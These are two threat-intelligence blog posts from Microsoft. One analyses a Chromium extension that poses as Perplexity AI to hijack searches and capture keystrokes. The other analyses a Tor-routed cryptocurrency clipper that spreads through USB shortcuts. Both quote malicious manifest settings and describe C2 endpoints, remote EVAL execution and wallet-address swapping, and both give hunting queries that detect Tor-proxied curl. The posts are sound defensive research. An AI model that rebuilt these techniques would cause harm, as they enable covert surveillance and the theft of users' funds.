Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": {
    "name": "Perplexity Search"
}

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

Key indicators of malicious behavior

Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { 
  "search_provider": { 
    "name": "Perplexity Search", 
    "keyword": "perplexity", 
    "is_default": true, 
    "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", 
    "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", 
    "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" 
  } 
} 

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": 
[
  "declarativeNetRequest",
  "declarativeNetRequestFeedback",
  "declarativeNetRequestWithHostAccess"
]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [
  {
    "id": "perplexity",
    "enabled": true,
    "path": "perplexity-rules.json"
  },
  {
    "id": "bing",
    "enabled": false,
    "path": "bing-rules.json"
  },
  {
    "id": "google",
    "enabled": false,
    "path": "google-rules.json"
  }
]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions":
 [
  "*://perplexity-ai[.]online/*"
]

Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"} 

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents
| where FileName has "flkebkiofojicogddingbdmcmkpbplcd" 
   or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd"
| summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents
| where RemoteUrl has "perplexity-ai.online"
| summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl

MITRE ATT&CK techniques observed

Indicators of compromise

References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence and Microsoft Defender Experts identified a Windows-based cryptocurrency clipper that has affected users since February of 2026. Clipper malware relies on stealing clipboard data and parsing it for valuable assets.

The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 server. It carries out high-frequency clipboard theft, screenshot exfiltration, and wallet-address substitution.

The execution of this clipper is notable because it does not depend on a traditional installer or exposed IP-based C2 infrastructure. Instead, it deploys a portable Tor client, routes traffic through a local SOCKS5 proxy, and blends data theft with remote code execution, turning a financially motivated stealer into a lightweight backdoor.

For defenders, the strongest signals are behavioral: script interpreters spawning suspicious child processes, localhost:9050 proxy usage, screen-capture commands in PowerShell, and signs of clipboard inspection or crypto-address replacement.

Microsoft Defender for Endpoint detects multiple components of this threat such as Suspicious JavaScript process and Possible data exfiltration using Curl. Additionally, Microsoft Defender Antivirus detects this crypto clipper as Trojan: Win32/CryptoBandits.A.

Attack chain overview

Since February 2026, malicious shortcut (.lnk) payloads have infected devices with a cryptocurrency clipper. This malware comprises two components that it deploys on the compromised system: a worm component that ensures propagation and a clipper/stealer component that harvests and exfiltrates cryptocurrency wallet information.  

The worm functionality ensures propagation by creating additional malicious shortcuts of legitimate files it identifies on the device. It also delivers file-based payloads and excludes them from Defender scanning. It deploys scheduled tasks for execution and persistence for both the worm component and the stealer component.  Figure 1 presents a high-level execution flow of the two components.

The clipper runs as a script-based payload that interacts with the operating system through WScript and ActiveXObject. It includes an anti-analysis check that queries running processes and exits if Task Manager is detected. If the environment passes this gate, the malware launches a renamed Tor binary named ugate.exe in a hidden window, waits about 60 seconds for Tor to bootstrap, generates a victim GUID, and registers the infected device with a hidden-service C2.

After registration, the malware enters a continuous loop. It polls the C2 for instructions and monitors the clipboard roughly every 500 milliseconds, extracting seed phrases and private keys that match wallet-related patterns. It also hijacks cryptocurrency addresses by replacing copied wallet values with attacker-controlled alternatives and uploads screenshots through Tor. If the C2 returns an EVAL response, the malware executes attacker-supplied code at runtime.

Behaviors and methodologies

Initial access

Initial access occurs from malicious .lnk files. In instances we analyzed, these .lnk shortcuts were distributed on USB storage devices. The .lnk shortcut stages a worm component in the form of an executable. The malicious script checks for an existing malicious payload and stops if the device is already infected. If the payload is not present, the malware fetches the payload from the C2 through Tor. The Figure below illustrates the functions that stage and decrypt the initial payload.

The .lnk payload scans the USB device for common document files like .doc, .xlsx, .pdf, hides the original files, and creates additional .lnk shortcut files with the same file names. The shortcut files are crafted with arguments to link to the worm payload. The end user is not aware that they are launching an executable when opening the .lnk files.

Execution

Once a user clicks on one of the shortcuts, the staged worm payload runs. It excludes staging folders and Windows binaries used in the execution of the stealer component. The malware then drops decrypted payloads, including two malicious JavaScript files, into the subfolder under the “C:\Users\Public\Documents” folder.

A five-character naming convention is used both for the subfolder and the scripts’ names.

The figure below illustrates an instance with files dropped under a ” C:\Users\Public\Documents\omoho” folder path:

The worm component also establishes persistence by creating two indefinite scheduled tasks: one responsible for spreading itself to a freshly inserted uncompromised USB storage device, and another for the stealer activity.

Defense evasion

The malware employs multi-layered obfuscation, with all components encrypted and only decrypted at runtime. Installation is handled by a Python script that is itself obfuscated using PyArmor and packaged into a standalone executable via PyInstaller. In addition, the two JavaScript payloads are each protected with dual-layer obfuscation, further increasing analysis complexity. This design significantly reduces static visibility while maintaining flexible runtime behavior.

The sample also incorporates a basic anti-analysis check by querying the Win32_Process WMI class and terminating execution if Task Manager is detected. Although simplistic, this mechanism can hinder manual inspection and slow initial triage efforts.

The bundled Tor client is central to the operation. By routing communication over localhost:9050 and resolving “.onion” destination domains inside Tor, the malware reduces DNS visibility, obscures the final C2 destination, and complicates destination-based blocking. This design gives the operator anonymity benefits while keeping the malware compact and self-contained.

Command and control

The command and control over a Tor-routed domain routes network traffic through local IP address 127.0.0.1 on port 9050. The tunneled domain appears in the initiating process command line. The C2 domains use the following endpoints and actions across different execution stages.

• C2 Domain: <domain>.onion
• Endpoints:
  • /route.php : Beacon and command retrieval
  • /recvf.php : File upload (screenshots)
  • /stub.php: Payload download
• Communication:
  • Protocol: HTTP over Tor (SOCKS5 proxy at localhost:9050)
  • Method: curl with POST requests
  • Authentication: GUID + GEIP (geolocation)
• Actions Sent to C2:
  • GUID : Heartbeat beacon
  • SEED : Exfiltrated seed phrase
  • PKEY : Exfiltrated private key
  • REPL : Address replacement notification
  • GOOD : (legacy/fallback action)
• Commands from C2:
  • GUID : Acknowledge/refresh victim GUID
  • EVAL : Execute arbitrary JScript code (remote code execution)

A file named “cfile” is created on the infected system as an output for payload hosted on the C2 domain.

The malware sample we analyzed also provided a function called checkC2Command. The function has an EVAL method, which would allow any payload placed in the cfile to be executed on the victim’s system.

Collection

Seed

Clipboard theft focuses on high-value financial artifacts. The malware detects 12 or 24-word BIP39 seed phrases in clipboard data. It saves the seed to local file (GOOD path) as a backup and exfiltrates it to the C2 domain via Tor. It retries network transmission until it is acknowledged and deletes local backup after successful transmission. It also takes five screenshots (ten seconds apart) and uploads them asynchronously. The screenshots help the threat actor gain additional context on the end user’s wallet and balances.

Private Key extraction

The crypto clipper also detects cryptocurrency keys for both Ethereum and Bitcoin WIF. Once the captured keys are saved and exfiltrated, the malware captures screenshots of the user’s screen for a full context. The captured values are validated against a word list.

Address replacement

The stealer also probes for cryptocurrency addresses and replaces them with attacker’s addresses. The malware checks that the address has alphanumeric values.

• For a Bitcoin legacy address which starts with “1” and has a length of 32-36 values, the address is replaced with an address that matches the first two characters.

• For a Bitcoin P2SH address which starts with a “3” and has a length of 32-36 values, the stealer replaces the address with one matching the original address on the first two characters.

• For a Bitcoin taproot address which starts with “bc1p” and has a length of 40-64 characters, the stealer replaces it with one matching the last character.

• For a Bitcoin Bech32 address which starts with “bc1q” and has a length of 40-64 characters, the stealer replaces only the last character.

• For a Tron address which starts with “T” and has exactly 34 characters, the stealer replaces the address with one that matches the first two characters.
• For a Monero address which starts with a “4” or a “8” and has exactly 95 characters, the stealer replaces the address with a single address.

The following shows an example of address replacement:

This malware family shows how lightweight, script-based stealers can deliver outsized impact when paired with anonymized communications and runtime tasking. The combination of Tor-routed C2, clipboard targeting, screenshot capture, and remote code execution gives attackers both immediate monetization paths and continued control over compromised devices.

Organizations should focus on hardening script execution paths, monitoring local SOCKS proxy abuse, and using behavioral hunting to connect script activity with network, clipboard, and process signals. That combination offers the best chance of surfacing this class of threat before financial loss or broader follow-on activity occurs.

Mitigation and protection guidance

Defenders should prioritize behavioral detections over static signatures. Investigate systems where WScript, CScript, or related script engines launch curl, cmd.exe, PowerShell, or unexpected executables. localhost:9050 network activity, especially when coupled with suspicious scripting behavior, is also valuable context for triage.

Where operationally feasible, reduce abuse of script-based interpreters and review Attack Surface Reduction rules that block obfuscated scripts and suspicious child-process chains. Review detections for PowerShell-based screen capture and examine devices for indicators of clipboard inspection or wallet-address replacement.

Recommended actions

• Disable AutoRun/AutoPlay for all removable media
• Block .lnk execution from removable drives via GPO
• Restrict unnecessary use of wscript.exe, cscript.exe, and similar script hosts where possible.
• Review and enable relevant Attack Surface Reduction rules, especially those focused on obfuscated script execution and suspicious child-process behavior.
• Investigate script-to-network chains involving curl, PowerShell, or cmd.exe.
• Hunt for local SOCKS5 proxy activity on localhost:9050.
• Review clipboard-related and screen-capture behaviors on devices handling sensitive financial workflows.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender customers can run the following queries to find related activity in their networks:

Execution launched from scheduled tasks

DeviceProcessEvents
| where FileName =="schtasks.exe"
| where ProcessCommandLine matches regex
@"(?i)schtasks\s+/create\s+/tn\s+[a-z]{4,6}\s+/xml\s+C:\\Users\\Public\\Documents\\[a-z]{4,6}\\[a-z]{4,6}\.xml\s+/f"

Local Tor proxy activity (localhost:9050)

DeviceNetworkEvents
| where ActionType =="ConnectionSuccess"
| where InitiatingProcessCommandLine has_all ("curl","socks5-hostname",".onion")

Tor-routed curl execution

DeviceProcessEvents
| where FileName =~ "curl.exe"
| where ProcessCommandLine has_all ("--socks5-hostname", "localhost:9050")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine

MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Initial Access

• T1091 Replication Through Removable Media

Execution

• T1059 Command and Scripting Interpreter | EVAL-driven remote code execution from server tasking

Discovery

• T1057 Process Discovery | Task Manager check used as an anti-analysis gate

Persistence

• T1053.005 Scheduled Task/Job | Scheduled Task

Defense evasion

• T1027 | Shuffled strings and decoder functions conceal commands and APIs

Collection

• T1115 Clipboard Data | Clipboard theft targets seed phrases, keys, and wallet addresses
• T1113 Screen Capture | PowerShell screenshot capture supports operational visibility

Command and Control

• T1090 Proxy | Traffic routed through Tor via local SOCKS5 proxying

Exfiltration

• T1048.002 Exfiltration Over Alternative Protocol

Indicators of compromise (IOC)

References 

• https://www.microsoft.com/en-us/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/#clipping-and-switching. Microsoft (published 2022-05-17)
• https://gbhackers.com/ssh-over-tor-tunnel/. Ghbhackers(published 2026-04-28)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Crypto Clipper uses Tor and worm-like propagation for persistence and control appeared first on Microsoft Security Blog.